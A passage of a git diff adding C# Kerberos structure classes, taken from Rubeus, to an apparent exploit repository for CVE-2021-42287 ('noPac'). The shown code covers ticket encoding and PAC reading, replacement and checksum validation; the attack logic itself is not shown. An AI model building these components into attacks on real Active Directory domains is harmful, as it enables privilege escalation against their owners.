AsnElt.Make(AsnElt.SEQUENCE, addrSeqTotal1); + addrSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, addrSeqTotal2); + allNodes.Add(addrSeqTotal2); + } + + // authorization-data [10] AuthorizationData OPTIONAL + if (authorization_data != null) + { + List adList = new List(); + + foreach (AuthorizationData ad in authorization_data) + { + AsnElt addrElt = ad.Encode(); + adList.Add(addrElt); + } + AsnElt authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, adList.ToArray()); + AsnElt addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); + authDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 10, addrSeqTotal1); + allNodes.Add(authDataSeq); + + } + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 3, seq2); + + return seq2; + } + + public PACTYPE GetPac(byte[] asrepKey) + { + if (authorization_data != null) + { + foreach (var addata in authorization_data) + { + foreach (var ifrelevant in ((ADIfRelevant)addata).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + return win2k_pac.Pac; + } + } + } + } + return null; + } + + public void SetPac(PACTYPE pac) { + if (authorization_data == null) + { + authorization_data = new List(); + } + List oldAuthData = new List(); + foreach (var authdata in authorization_data) + { + ADIfRelevant tmpifrelevant = new ADIfRelevant(); + foreach (var adData in ((ADIfRelevant)authdata).ADData) + { + if (!(adData is ADWin2KPac win2k_pac)) + { + tmpifrelevant.ADData.Add(adData); + } + } + if (tmpifrelevant.ADData.Count > 0) + { + oldAuthData.Add(tmpifrelevant); + } + } + authorization_data = new List(); + ADIfRelevant ifrelevant = new ADIfRelevant(); + ifrelevant.ADData.Add(new ADWin2KPac(pac)); + authorization_data.Add(ifrelevant); + foreach (var authdata in oldAuthData) + { + authorization_data.Add(authdata); + } + } + + public Tuple ValidatePac(byte[] serviceKey, byte[] krbKey = null) + { + byte[] pacBytes = null; + if (authorization_data != null) + { + foreach (var addata in authorization_data) + { + foreach (var ifrelevant in ((ADIfRelevant)addata).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + pacBytes = win2k_pac.ad_data; + } + } + } + } + if (pacBytes == null) + { + return null; + } + BinaryReader br = new BinaryReader(new MemoryStream(pacBytes)); + int cBuffers = br.ReadInt32(); + int Version = br.ReadInt32(); + long offset = 0, svrOffset = 0, kdcOffset = 0; + Interop.KERB_CHECKSUM_ALGORITHM svrSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + Interop.KERB_CHECKSUM_ALGORITHM kdcSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + int svrLength = 12, kdcLength = 12; + byte[] oldSvrSig = null, oldKdcSig = null; + + for (int idx = 0; idx < cBuffers; ++idx) + { + + var type = (PacInfoBufferType)br.ReadInt32(); + var bufferSize = br.ReadInt32(); + offset = br.ReadInt64(); + + long oldPostion = br.BaseStream.Position; + br.BaseStream.Position = offset; + var pacData = br.ReadBytes(bufferSize); + br.BaseStream.Position = oldPostion; + BinaryReader brPacData = new BinaryReader(new MemoryStream(pacData)); + + switch (type) + { + case PacInfoBufferType.KDCChecksum: + kdcOffset = offset + 4; + kdcSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32(); + if (kdcSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) + { + kdcLength = 16; + } + oldKdcSig = brPacData.ReadBytes(kdcLength); + break; + case PacInfoBufferType.ServerChecksum: + svrOffset = offset + 4; + svrSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32(); + if (svrSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) + { + svrLength = 16; + } + oldSvrSig = brPacData.ReadBytes(svrLength); + break; + + } + } + + byte[] svrZeros = new byte[svrLength], kdcZeros = new byte[kdcLength]; + Array.Clear(svrZeros, 0, svrLength); + Array.Clear(kdcZeros, 0, kdcLength); + Array.Copy(svrZeros, 0, pacBytes, svrOffset, svrLength); + Array.Copy(kdcZeros, 0, pacBytes, kdcOffset, kdcLength); + + byte[] svrSig = Crypto.KerberosChecksum(serviceKey, pacBytes, svrSigType); + + if (krbKey == null) + { + return Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), false, false); + } + + byte[] kdcSig = Crypto.KerberosChecksum(krbKey, oldSvrSig, kdcSigType); + return Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), (Helpers.ByteArrayToString(oldKdcSig) == Helpers.ByteArrayToString(kdcSig)), ValidateTicketChecksum(krbKey)); + } + + public byte[] CalculateTicketChecksum(byte[] krbKey, Interop.KERB_CHECKSUM_ALGORITHM krbChecksumType) + { + byte[] ticketChecksum = null; + byte[] oldWin2kPacData = null; + PACTYPE oldWin2kPac = null; + EncTicketPart tmpEncTicketPart = this; + + // find the PAC and place a zero in it's ad-data + List newAuthData = new List(); + foreach (var tmpadData in tmpEncTicketPart.authorization_data) + { + ADIfRelevant tmpifrelevant = new ADIfRelevant(); + foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + oldWin2kPacData = win2k_pac.ad_data; + oldWin2kPac = win2k_pac.Pac; + ADWin2KPac tmpWin2k = new ADWin2KPac(); + tmpWin2k.ad_data = new byte[] { 0x00 }; + tmpWin2k.Pac = null; + tmpifrelevant.ADData.Add(tmpWin2k); + } + else + { + tmpifrelevant.ADData.Add(ifrelevant); + } + } + newAuthData.Add(tmpifrelevant); + } + tmpEncTicketPart.authorization_data = newAuthData; + + ticketChecksum = Crypto.KerberosChecksum(krbKey, tmpEncTicketPart.Encode().Encode(), krbChecksumType); + + foreach (var tmpadData in tmpEncTicketPart.authorization_data) + { + ADIfRelevant tmpifrelevant = new ADIfRelevant(); + foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + win2k_pac.ad_data = oldWin2kPacData; + win2k_pac.Pac = oldWin2kPac; + } + } + } + + return ticketChecksum; + } + + public bool ValidateTicketChecksum(byte[] krbKey) + { + SignatureData ticketSig = null; + + // find the PAC the old TicketChecksum + foreach (var tmpadData in authorization_data) + { + foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + foreach (var PacInfoBuffer in win2k_pac.Pac.PacInfoBuffers) + { + if (PacInfoBuffer.Type is PacInfoBufferType.TicketChecksum) + { + ticketSig = (SignatureData)PacInfoBuffer; + } + } + } + } + } + + if (ticketSig == null) + { + return false; + } + + byte[] calculatedSig = CalculateTicketChecksum(krbKey, ticketSig.SignatureType); + + return (Helpers.ByteArrayToString(calculatedSig) == Helpers.ByteArrayToString(ticketSig.Signature)); + } + + public bool TicketChecksumExists() + { + bool ret = false; + PACTYPE pt = null; + + // get the PAC + if (authorization_data != null) + { + foreach (var addata in authorization_data) + { + foreach (var ifrelevant in ((ADIfRelevant)addata).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + pt = win2k_pac.Pac; + } + } + } + } + + // If not PAC was retrieved return false + if (pt == null) + { + return ret; + } + + // look for the TicketChecksum + foreach (var pacInfoBuffer in pt.PacInfoBuffers) + { + if (pacInfoBuffer.Type is PacInfoBufferType.TicketChecksum) + { + ret = true; + } + } + + return ret; + } + + public Interop.TicketFlags flags { get; set; } + + public EncryptionKey key { get; set; } + + public string crealm { get; set; } + + public PrincipalName cname { get; set; } + + public TransitedEncoding transited { get; set; } + + public DateTime authtime { get; set; } + + public DateTime starttime { get; set; } + + public DateTime endtime { get; set; } + + public DateTime renew_till { get; set; } + + public List caddr { get; set; } + + public List authorization_data { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncryptedData.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncryptedData.cs new file mode 100644 index 0000000..5ced38a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncryptedData.cs @@ -0,0 +1,92 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class EncryptedData + { + //EncryptedData::= SEQUENCE { + // etype[0] Int32 -- EncryptionType --, + // kvno[1] UInt32 OPTIONAL, + // cipher[2] OCTET STRING -- ciphertext + //} + + public EncryptedData() + { + + } + + public EncryptedData(Int32 encType, byte[] data) + { + etype = encType; + cipher = data; + } + + public EncryptedData(Int32 encType, byte[] data, UInt32 kvnum) + { + etype = encType; + kvno = kvnum; + cipher = data; + } + + public EncryptedData(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + etype = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + kvno = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 2: + cipher = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // etype [0] Int32 -- EncryptionType --, + AsnElt etypeAsn = AsnElt.MakeInteger(etype); + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); + etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); + + + // cipher [2] OCTET STRING -- ciphertext + AsnElt cipherAsn = AsnElt.MakeBlob(cipher); + AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn }); + cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq); + + + if (kvno != 0) + { + // kvno [1] UInt32 OPTIONAL + AsnElt kvnoAsn = AsnElt.MakeInteger(kvno); + AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn }); + kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq); + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq }); + return totalSeq; + } + else + { + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq }); + return totalSeq; + } + } + + public Int32 etype { get; set; } + + public UInt32 kvno { get; set; } + + public byte[] cipher { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncryptionKey.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncryptionKey.cs new file mode 100644 index 0000000..334c47a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncryptionKey.cs @@ -0,0 +1,68 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class EncryptionKey + { + //EncryptionKey::= SEQUENCE { + // keytype[0] Int32 -- actually encryption type --, + // keyvalue[1] OCTET STRING + //} + + public EncryptionKey() + { + keytype = 0; + + keyvalue = null; + } + + public EncryptionKey(AsnElt body) + { + foreach (AsnElt s in body.Sub[0].Sub) + { + switch (s.TagValue) + { + case 0: + keytype = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + keyvalue = s.Sub[0].GetOctetString(); + break; + case 2: + keyvalue = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // keytype[0] Int32 -- actually encryption type -- + AsnElt keyTypeElt = AsnElt.MakeInteger(keytype); + AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt }); + keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq); + + + // keyvalue[1] OCTET STRING + AsnElt blob = AsnElt.MakeBlob(keyvalue); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq); + + + // build the final sequences (s) + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + + return seq2; + } + + public Int32 keytype { get; set; } + + public byte[] keyvalue { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/HostAddress.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/HostAddress.cs new file mode 100644 index 0000000..d030814 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/HostAddress.cs @@ -0,0 +1,89 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //Hostname::= SEQUENCE { + // name-type[0] Int32, + // name-string[1] SEQUENCE OF KerberosString + //} + + public class HostAddress + { + public HostAddress() + { + // nETBIOS = 20 + // netbios name of the requesting machine + + addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; + + addr_string = string.Empty; + } + + public HostAddress(string hostName) + { + // create with hostname + addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; + + // setup padding + Int32 numSpaces = 8 - (hostName.Length % 8); + hostName = hostName.PadRight(hostName.Length + numSpaces); + + addr_string = hostName.ToUpper(); + } + + public HostAddress(Interop.HostAddressType atype, string address) + { + // create with different type + addr_type = atype; + + // setup padding + Int32 numSpaces = 8 - (address.Length % 8); + address = address.PadRight(address.Length + numSpaces); + + addr_string = address.ToUpper(); + } + + public HostAddress(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + addr_type = (Interop.HostAddressType)s.Sub[0].GetInteger(); + break; + case 1: + addr_string = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // addr-type[0] Int32 + // addr-string[1] OCTET STRING + AsnElt addrTypeElt = AsnElt.MakeInteger((long)addr_type); + AsnElt addrTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrTypeElt }); + addrTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, addrTypeSeq); + + AsnElt addrStringElt = AsnElt.MakeString(AsnElt.TeletexString, addr_string); + addrStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.OCTET_STRING, addrStringElt); + AsnElt addrStringSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrStringElt }); + addrStringSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, addrStringSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { addrTypeSeq, addrStringSeq }); + + return seq; + } + + public Interop.HostAddressType addr_type { get; set; } + + public string addr_string { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KDC_REQ_BODY.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KDC_REQ_BODY.cs new file mode 100644 index 0000000..57a3b46 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KDC_REQ_BODY.cs @@ -0,0 +1,272 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KDCReqBody + { + //KDC-REQ-BODY::= SEQUENCE { + // kdc-options[0] KDCOptions, + // cname[1] PrincipalName OPTIONAL + // -- Used only in AS-REQ --, + // realm[2] Realm + // -- Server's realm + // -- Also client's in AS-REQ --, + // sname[3] PrincipalName OPTIONAL, + // from[4] KerberosTime OPTIONAL, + // till[5] KerberosTime, + // rtime[6] KerberosTime OPTIONAL, + // nonce[7] UInt32, + // etype[8] SEQUENCE OF Int32 -- EncryptionType + // -- in preference order --, + // addresses[9] HostAddresses OPTIONAL, + // enc-authorization-data[10] EncryptedData OPTIONAL + // -- AuthorizationData --, + // additional-tickets[11] SEQUENCE OF Ticket OPTIONAL + // -- NOTE: not empty + //} + + public KDCReqBody(bool c = true, bool r = false) + { + // defaults for creation + kdcOptions = Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; + + // added ability to remove cname from request + // seems to be useful for cross domain stuff + // didn't see a cname in "real" S4U request traffic + if (c) + { + cname = new PrincipalName(); + } + + sname = new PrincipalName(); + + // date time from kekeo ;) HAI 2037! + till = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture); + + // add rtime for AS-REQs + if (r) + { + rtime = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture); + } + + var rand = new Random(); + nonce = (UInt32)rand.Next(1, Int32.MaxValue); + + additional_tickets = new List(); + + etypes = new List(); + } + + public KDCReqBody(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); + byte[] tempBytes = BitConverter.GetBytes(temp); + kdcOptions = (Interop.KdcOptions)BitConverter.ToInt32(tempBytes, 0); + break; + case 1: + // optional + cname = new PrincipalName(s.Sub[0]); + break; + case 2: + realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 3: + // optional + sname = new PrincipalName(s.Sub[0]); + break; + case 4: + // optional + from = s.Sub[0].GetTime(); + break; + case 5: + till = s.Sub[0].GetTime(); + break; + case 6: + // optional + rtime = s.Sub[0].GetTime(); + break; + case 7: + nonce = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 8: + //etypes = new Enums.KERB_ETYPE[s.Sub[0].Sub.Length]; + etypes = new List(); + for (int i = 0; i < s.Sub[0].Sub.Length; i++) + { + //etypes[i] = (Enums.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger()); + etypes.Add((Interop.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger())); + } + break; + case 9: + // addresses (optional) + addresses = new List(); + addresses.Add(new HostAddress(s.Sub[0])); + break; + case 10: + // enc authorization-data (optional) + break; + case 11: + // additional-tickets (optional) + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // TODO: error-checking! + + List allNodes = new List(); + + // kdc-options [0] KDCOptions + byte[] kdcOptionsBytes = BitConverter.GetBytes((UInt32)kdcOptions); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(kdcOptionsBytes); + } + AsnElt kdcOptionsAsn = AsnElt.MakeBitString(kdcOptionsBytes); + AsnElt kdcOptionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { kdcOptionsAsn }); + kdcOptionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, kdcOptionsSeq); + allNodes.Add(kdcOptionsSeq); + + + // cname [1] PrincipalName + if (cname != null) + { + AsnElt cnameElt = cname.Encode(); + cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt); + allNodes.Add(cnameElt); + } + + + // realm [2] Realm + // --Server's realm + // -- Also client's in AS-REQ -- + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); + realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); + allNodes.Add(realmSeq); + + + // sname [3] PrincipalName OPTIONAL + AsnElt snameElt = sname.Encode(); + snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, snameElt); + allNodes.Add(snameElt); + + + // from [4] KerberosTime OPTIONAL + + + // till [5] KerberosTime + AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, till.ToString("yyyyMMddHHmmssZ")); + AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn }); + tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq); + allNodes.Add(tillSeq); + + + // rtime [6] KerberosTime + if (rtime.Year > 0001) + { + AsnElt rtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, rtime.ToString("yyyyMMddHHmmssZ")); + AsnElt rtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { rtimeAsn }); + rtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, rtimeSeq); + allNodes.Add(rtimeSeq); + } + + // nonce [7] UInt32 + AsnElt nonceAsn = AsnElt.MakeInteger(nonce); + AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); + nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, nonceSeq); + allNodes.Add(nonceSeq); + + + // etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order -- + List etypeList = new List(); + foreach (Interop.KERB_ETYPE etype in etypes) + { + AsnElt etypeAsn = AsnElt.MakeInteger((Int32)etype); + //AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { etypeAsn }); + etypeList.Add(etypeAsn); + } + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray()); + AsnElt etypeSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray()); + AsnElt etypeSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, etypeSeqTotal1); + etypeSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, etypeSeqTotal2); + allNodes.Add(etypeSeqTotal2); + + + // addresses [9] HostAddresses OPTIONAL + if (addresses != null) + { + List addrList = new List(); + foreach (HostAddress addr in addresses) + { + AsnElt addrElt = addr.Encode(); + addrList.Add(addrElt); + } + AsnElt addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, addrList.ToArray()); + AsnElt addrSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, addrSeqTotal1); + addrSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, addrSeqTotal2); + allNodes.Add(addrSeqTotal2); + } + + // enc-authorization-data [10] EncryptedData OPTIONAL + if (enc_authorization_data != null) + { + AsnElt authorizationEncryptedDataASN = enc_authorization_data.Encode(); + AsnElt authorizationEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authorizationEncryptedDataASN }); + authorizationEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 10, authorizationEncryptedDataSeq); + allNodes.Add(authorizationEncryptedDataSeq); + } + + // additional-tickets [11] SEQUENCE OF Ticket OPTIONAL + if (additional_tickets.Count > 0) { + AsnElt ticketAsn = additional_tickets[0].Encode(); + AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); + AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); + ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 11, ticketSeq2); + allNodes.Add(ticketSeq2); + } + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + + return seq; + } + + + public Interop.KdcOptions kdcOptions { get; set; } + + public PrincipalName cname { get; set; } + + public string realm { get; set; } + + public PrincipalName sname { get; set; } + + public DateTime from { get; set; } + + public DateTime till { get; set; } + + public DateTime rtime { get; set; } + + public UInt32 nonce { get; set; } + + public List etypes { get; set; } + + public List addresses { get; set; } + + public EncryptedData enc_authorization_data { get; set; } + + public List additional_tickets { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KERB_PA_PAC_REQUEST.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KERB_PA_PAC_REQUEST.cs new file mode 100644 index 0000000..cf8dff9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KERB_PA_PAC_REQUEST.cs @@ -0,0 +1,45 @@ +using Asn1; +using System; +using System.Text; + +namespace Rubeus +{ + //KERB-PA-PAC-REQUEST ::= SEQUENCE { + // include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC. + // --If FALSE, and PAC present, remove PAC + //} + + public class KERB_PA_PAC_REQUEST + { + public KERB_PA_PAC_REQUEST(bool pac = true) + { + // default -> include PAC + include_pac = pac; + } + + public KERB_PA_PAC_REQUEST(AsnElt value) + { + include_pac = value.Sub[0].Sub[0].GetBoolean(); + } + + public AsnElt Encode() + { + AsnElt ret; + + if (include_pac) + { + ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 }); + } + else + { + ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 }); + } + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret }); + + return seq; + } + + public bool include_pac { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_CRED.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_CRED.cs new file mode 100644 index 0000000..4e70816 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_CRED.cs @@ -0,0 +1,129 @@ +using System; +using Asn1; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KRB_CRED + { + //KRB-CRED::= [APPLICATION 22] SEQUENCE { + // pvno[0] INTEGER(5), + // msg-type[1] INTEGER(22), + // tickets[2] SEQUENCE OF Ticket, + // enc-part[3] EncryptedData -- EncKrbCredPart + //} + + public KRB_CRED() + { + // defaults for creation + pvno = 5; + msg_type = 22; + + tickets = new List(); + + enc_part = new EncKrbCredPart(); + } + + public KRB_CRED(byte[] bytes) + { + RawBytes = bytes; + AsnElt asn_KRB_CRED = AsnElt.Decode(bytes, false); + this.Decode(asn_KRB_CRED.Sub[0]); + } + + public KRB_CRED(AsnElt body) + { + this.Decode(body); + } + + public void Decode(AsnElt body) + { + tickets = new List(); + + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + pvno = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + msg_type = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 2: + foreach (AsnElt ae in s.Sub[0].Sub[0].Sub) + { + Ticket ticket = new Ticket(ae); + tickets.Add(ticket); + } + break; + case 3: + enc_part = new EncKrbCredPart(s.Sub[0]); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // pvno [0] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + + + // msg-type [1] INTEGER (22) + AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); + AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); + msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); + + + // tickets [2] SEQUENCE OF Ticket + // TODO: encode/handle multiple tickets! + AsnElt ticketAsn = tickets[0].Encode(); + AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); + AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); + ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2); + + + // enc-part [3] EncryptedData -- EncKrbCredPart + AsnElt enc_partAsn = enc_part.Encode(); + AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode()); + + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + // etype == 0 -> no encryption + AsnElt etypeAsn = AsnElt.MakeInteger(0); + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); + etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); + + AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); + AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq }); + infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2); + + + // all the components + AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 }); + + // tag the final total ([APPLICATION 22]) + AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); + final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final); + + return final; + } + + public long pvno { get; set; } + + public long msg_type { get; set; } + + //public Ticket[] tickets { get; set; } + public List tickets { get; set; } + + public EncKrbCredPart enc_part { get; set; } + + public byte[] RawBytes { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_ERROR.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_ERROR.cs 